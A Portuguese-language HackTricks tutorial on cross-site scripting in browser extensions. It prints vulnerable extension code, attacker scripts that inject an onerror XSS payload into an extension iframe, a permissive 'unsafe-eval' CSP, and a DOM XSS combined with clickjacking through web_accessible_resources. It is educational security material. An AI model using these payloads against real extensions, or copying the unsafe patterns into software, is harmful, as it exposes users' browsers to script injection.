7.4 KiB
BrowExt - Exemplo de XSS
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, verifique os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.
Cross-Site Scripting (XSS) através de Iframe
Nesta configuração, um script de conteúdo é implementado para instanciar um Iframe, incorporando uma URL com parâmetros de consulta como a fonte do Iframe:
chrome.storage.local.get("message", result => {
let constructedURL = chrome.runtime.getURL("message.html") +
"?content=" + encodeURIComponent(result.message) +
"&redirect=https://example.net/details";
frame.src = constructedURL;
});
Uma página HTML publicamente acessível, message.html
, é projetada para adicionar dinamicamente conteúdo ao corpo do documento com base nos parâmetros na URL:
$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search);
let userContent = urlParams.get("content");
$(document.body).html(`${userContent} <button id='detailBtn'>Details</button>`);
$('#detailBtn').on('click', () => {
let destinationURL = urlParams.get("redirect");
chrome.tabs.create({ url: destinationURL });
});
});
Um script malicioso é executado em uma página de um adversário, modificando o parâmetro content
da origem do Iframe para introduzir um payload XSS. Isso é alcançado atualizando a origem do Iframe para incluir um script prejudicial:
setTimeout(() => {
let targetFrame = document.querySelector("iframe").src;
let baseURL = targetFrame.split('?')[0];
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>";
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;
document.querySelector("iframe").src = maliciousURL;
}, 1000);
Uma Política de Segurança de Conteúdo excessivamente permissiva, como:
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
Permite a execução de JavaScript, tornando o sistema vulnerável a ataques XSS.
Uma abordagem alternativa para provocar o XSS envolve a criação de um elemento Iframe e definir sua origem para incluir o script malicioso como o parâmetro content
:
let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
document.body.append(newFrame);
XSS baseado em DOM + ClickJacking
Este exemplo foi retirado do post original.
O problema central surge de uma vulnerabilidade de Cross-site Scripting (XSS) baseada em DOM localizada em /html/bookmarks.html
. O JavaScript problemático, parte do bookmarks.js
, está detalhado abaixo:
$('#btAdd').on('click', function() {
var bookmarkName = $('#txtName').val();
if ($('.custom-button .label').filter(function() {
return $(this).text() === bookmarkName;
}).length) return false;
var bookmarkItem = $('<div class="custom-button">');
bookmarkItem.html('<span class="label">' + bookmarkName + '</span>');
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>');
bookmarkItem.attr('data-title', bookmarkName);
bookmarkItem.data('timestamp', (new Date().getTime()));
$('section.bookmark-container .existing-items').append(bookmarkItem);
persistData();
});
Este trecho busca o valor do campo de entrada txtName
e usa concatenação de strings para gerar HTML, que é então anexado ao DOM usando a função .append()
do jQuery.
Normalmente, a Política de Segurança de Conteúdo (CSP) da extensão do Chrome impediria tais vulnerabilidades. No entanto, devido à relaxação da CSP com 'unsafe-eval' e ao uso dos métodos de manipulação do DOM do jQuery (que empregam globalEval()
para passar scripts para eval()
durante a inserção no DOM), a exploração ainda é possível.
Embora essa vulnerabilidade seja significativa, sua exploração geralmente depende da interação do usuário: visitar a página, inserir um payload XSS e ativar o botão "Adicionar".
Para aprimorar essa vulnerabilidade, uma vulnerabilidade secundária de clickjacking é explorada. O manifesto da extensão do Chrome mostra uma extensa política web_accessible_resources
:
"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],
Notavelmente, a página /html/bookmarks.html
é propensa a framing, portanto vulnerável ao clickjacking. Essa vulnerabilidade é explorada para enquadrar a página dentro do site de um atacante, sobrepondo-a com elementos DOM para redesenhar a interface de forma enganosa. Essa manipulação leva as vítimas a interagir com a extensão subjacente involuntariamente.
Referências
- https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/
- https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.